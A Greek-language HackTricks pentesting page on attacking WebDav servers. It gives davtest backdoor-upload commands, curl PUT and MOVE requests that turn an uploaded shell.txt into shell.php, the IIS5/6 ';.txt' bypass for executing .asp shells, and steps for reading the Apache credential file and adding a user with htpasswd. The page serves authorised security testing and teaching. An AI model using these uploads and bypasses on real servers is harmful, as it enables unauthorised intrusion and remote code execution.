WebDav

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Όταν ασχολείστε με έναν HTTP Server με WebDav ενεργοποιημένο, είναι δυνατόν να χειριστείτε αρχεία αν έχετε τα σωστά διαπιστευτήρια, που συνήθως επαληθεύονται μέσω HTTP Basic Authentication. Η απόκτηση ελέγχου σε έναν τέτοιο server συχνά περιλαμβάνει την ανάρτηση και εκτέλεση ενός webshell.

Η πρόσβαση στον server WebDav απαιτεί συνήθως έγκυρα διαπιστευτήρια, με WebDav bruteforce να είναι μια κοινή μέθοδος για την απόκτησή τους.

Για να ξεπεράσετε περιορισμούς στην ανάρτηση αρχείων, ειδικά εκείνους που αποτρέπουν την εκτέλεση server-side scripts, μπορείτε να:

  • Ανεβάσετε αρχεία με εκτελέσιμες επεκτάσεις απευθείας αν δεν περιορίζονται.
  • Μετονομάσετε τα ανεβασμένα μη εκτελέσιμα αρχεία (όπως .txt) σε εκτελέσιμη επέκταση.
  • Αντιγράψετε τα ανεβασμένα μη εκτελέσιμα αρχεία, αλλάζοντας την επέκτασή τους σε μία που είναι εκτελέσιμη.

DavTest

Davtest προσπαθεί να ανεβάσει αρκετά αρχεία με διαφορετικές επεκτάσεις και ελέγχει αν η επέκταση είναι εκτελέσιμη:

bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Αυτό δεν σημαίνει ότι οι .txt και .html επεκτάσεις εκτελούνται. Αυτό σημαίνει ότι μπορείτε να έχετε πρόσβαση σε αυτά τα αρχεία μέσω του διαδικτύου.

Cadaver

Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να συνδεθείτε στον διακομιστή WebDav και να εκτελέσετε ενέργειες (όπως ανέβασμα, μετακίνηση ή διαγραφή) χειροκίνητα.

cadaver <IP>

PUT αίτημα

curl -T 'shell.txt' 'http://$ip'

MOVE request

bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav Vulnerability

Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το WebDav δεν επιτρέπει να ανεβάσετε ή να μετονομάσετε αρχεία με την επέκταση .asp. Αλλά μπορείτε να παρακάμψετε αυτό προσθέτοντας στο τέλος του ονόματος ";.txt" και το αρχείο θα εκτελείται σαν να ήταν αρχείο .asp (μπορείτε επίσης να χρησιμοποιήσετε ".html" αντί για ".txt" αλλά ΜΗΝ ξεχάσετε το ";").

Έτσι μπορείτε να ανεβάσετε το shell σας ως αρχείο ".txt" και να αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt". Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα εκτελείται (ο cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε).

Post credentials

Αν το Webdav χρησιμοποιούσε έναν Apache server, θα πρέπει να κοιτάξετε τις ρυθμισμένες τοποθεσίες στον Apache. Συνήθως:
/etc/apache2/sites-enabled/000-default

Μέσα σε αυτό μπορείτε να βρείτε κάτι σαν:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα credentials για τον webdav διακομιστή:

/etc/apache2/users.password

Μέσα σε αυτούς τους τύπους αρχείων θα βρείτε το username και ένα hash του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιήσει τους χρήστες.

Μπορείτε να προσπαθήσετε να crack τα, ή να add more αν για κάποιο λόγο θέλετε να access τον διακομιστή webdav:

bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Για να ελέγξετε αν τα νέα διαπιστευτήρια λειτουργούν, μπορείτε να κάνετε:

bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks